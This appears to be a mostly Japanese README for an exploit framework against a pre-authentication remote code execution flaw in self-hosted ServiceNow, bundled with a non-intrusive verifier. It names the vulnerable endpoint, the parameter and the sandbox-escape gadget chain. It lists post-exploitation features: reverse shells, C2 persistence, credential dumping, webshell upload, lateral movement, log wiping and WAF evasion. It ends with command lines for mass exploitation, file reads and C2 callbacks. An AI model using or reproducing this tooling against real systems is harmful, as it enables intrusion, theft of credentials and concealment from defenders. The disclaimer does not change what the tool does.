CVE-2026-6875 - ServiceNow Pre‑Auth RCE Exploit Framework & PoC Verifier

ServiceNow AI Platform — JavaScript Injection → Sandbox Escape → RCE → Root Privesc

Exploit Framework & Safe Verifier
For authorized security testing only.

---

法的免責事項と責任ある使用

このツールは、教育および許可されたペネトレーションテストの目的でのみ提供されています。

作者および貢献者は、本ソフトウェアの誤用または損害に対して一切の責任を負いません。テスト前にターゲット所有者から明示的な書面による許可を得ることは、ユーザーの単独責任です。コンピュータシステムへの不正アクセスは、Computer Fraud and Abuse Act (CFAA) および世界中の同様の法律の下で違法です。

本ソフトウェアを使用することにより、以下に同意したものとみなされます：

• 所有している、または明示的なテスト許可を得ているシステムでのみ使用すること。
• 適用されるすべての地方、州、および連邦法を遵守すること。
• 悪意のある、破壊的な、または違法な活動に使用しないこと。

警告: この脆弱性は実際に悪用されています。不正使用は深刻な法的結果を招く可能性があります。

---

脆弱性の概要

CVE-2026-6875 は、ServiceNow AI Platform（旧 Now Platform）における重大な未認証のリモートコード実行 (RCE) 脆弱性です。攻撃者はスクリプトサンドボックスをバイパスし、ServiceNow アプリケーションの権限で任意のシステムコマンドを実行できます。

仕組み：

1. JavaScript インジェクション: assessment_thanks.do エンドポイントは sysparm_assessable_type パラメータを受け付けます。値の先頭に javascript: を付けることで、攻撃者は任意の JavaScript コードを注入します。

2. サンドボックスエスケープ: 巧妙なサンドボックスエスケープガジェット（DiscoveryFunctions.getCacheObjectForTable、AbstractAjaxProcessor、Class.create を連鎖させる）が JavaScript サンドボックスの制限を解除します。

3. リモートコード実行: 注入された Java コード（java.lang.Runtime.exec() 経由）が ServiceNow アプリケーション権限で実行され、システム全体の侵害が可能になります。

4. 特権昇格: ポストエクスプロイトモジュールは、sudo の設定ミス、SUID バイナリ、書き込み可能な cron ジョブ、またはカーネルエクスプロイトを介して root への昇格を試みます。

主要な事実：

属性	値
[>] 発見日	2026年4月1日 (Searchlight Cyber)
[>] CVSS スコア	9.5 (CRITICAL)
[>] CISA KEV	2026年7月13日追加
[>] 影響を受ける製品	セルフホスト型 ServiceNow AI Platform
[>] 修正バージョン	Brazil EA/GA, Australia Patch 2, Zurich Patch 7b/9, Yokohama Patch 12 Hot Fix 1b/13
[>] 認証	不要 (Pre‑Auth)
[>] 活発な悪用	実際に確認済み (2026年7月)

---

Exploit Framework (exploit.py)

完全な武器化されたエクスプロイトは、JavaScript インジェクションとサンドボックスエスケープを連鎖させてリモートコード実行を実現し、永続化、横展開、資格情報ダンプのための高度なポストエクスプロイトモジュールを備えています。

機能

機能	説明
[+] JavaScript インジェクション	sysparm_assessable_type パラメータを介してペイロードを注入します。
[+] サンドボックスエスケープ	ServiceNow のスクリプトサンドボックスをバイパスして任意の Java コードを実行します。
[+] インタラクティブシェル	複数のコマンドをサポートするライブシェルを起動します。
[+] Root 特権昇格	sudo の設定ミス、SUID バイナリ、cron ジョブをチェックします。
[+] ファイル操作	webshell のアップロード、base64 エンコードによるファイルの読み取り/ダウンロード。
[+] 一括スキャン	スレッディング (-l フラグ) で複数のターゲットを一括エクスプロイトします。
[+] 安全な検出	非侵入的な脆弱性検証のためのオプションの --detect フラグ。
[+] WAF バイパス	WAF/IDS を回避するための組み込み難読化技術 (6 種類)。
[+] 永続化	cron/systemd/schtasks バックドアをインストールします。
[+] 横展開	ローカルネットワークをスキャンして他の脆弱なホストを探し、SSH/SSRF 伝播を試みます。
[+] 痕跡消去	ログ、bash 履歴、監査証跡を削除します。
[+] ファイルレス実行	Java ClassLoader を使用して、ディスクに書き込まずにメモリ常駐ペイロードを実行します。
[+] コールバックサーバー	コマンド出力を受信する組み込み HTTP サーバー (オプション)。
[+] Webhook 通知	結果をカスタム URL (Slack、Discord など) に送信します。
[+] クロスプラットフォーム	Linux および Windows ターゲット (cmd.exe / PowerShell) をサポートします。
[+] スレッドセーフ	同時操作のためにロック機構を使用します。
[+] バージョン検出	ServiceNow のバージョン (Zurich/Brazil/Australia/Yokohama) を検出します。

インタラクティブシェルコマンド

コマンド	説明
exec <cmd>	システムコマンドを実行
upload <local> [remote]	webshell をターゲットにアップロード
download <remote>	ファイルの内容をダウンロードして表示
privesc	特権昇格を試みる
reverse <host> <port>	リバースシェルを送信
dumpcred	ServiceNow 設定から資格情報をダンプ
persist <host> <port>	永続化をインストール (cron/systemd/schtasks)
lateral	横展開を試みる
clean	痕跡を消去 (ログ、履歴)
memory <host> <port>	ファイルレス Java ペイロードを実行
exit	インタラクティブシェルを終了

---

Safe Verifier (verifier.py)

安全な検証ツールは、有害なペイロードを実行したりシステム変更を行ったりすることなく、非侵入的な脆弱性検出を実行します。

機能

機能	説明
[+] ServiceNow 検出	複数のエンドポイントを介して ServiceNow インスタンスを識別します。
[+] バージョン検出	特定の ServiceNow リリースとパッチレベルを検出します。
[+] JavaScript インジェクションテスト	安全な gs.print() ペイロードを使用してインジェクション脆弱性をテストします。
[+] サンドボックスエスケープテスト	破壊的なコマンドを使用せずにサンドボックスエスケープを検証します。
[+] 信頼度スコアリング	証拠に基づいて信頼度パーセンテージ (85‑95%) を提供します。
[+] JSON 出力	レポート用に結果を JSON 形式でエクスポートします。
[+] 一括スキャン	スレッディングサポートで複数のターゲットをスキャンします。
[+] 非侵入的	システム情報のために無害な uname -a のみを実行します。

---

インストールと要件

前提条件

• Python 3.6+
• pip (requests ライブラリ用)

依存関係のインストール

pip install requests urllib3

[!NOTE] exploit.py はコア機能に標準ライブラリのみを使用します。requests は --detect 機能、--webhook 通知、および安全な検証ツールにのみ必要です。

---

使用例

[1] Safe Verifier (verifier.py)

# Single target verification
python verifier.py -u 192.168.1.100

# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow

# Mass scan from file
python verifier.py -l targets.txt -o results.json

# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q

# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60

# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"

[2] Exploit Framework (exploit.py)

# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc

# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp

# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444

# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean

# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090

# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass

# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow

# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls

# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0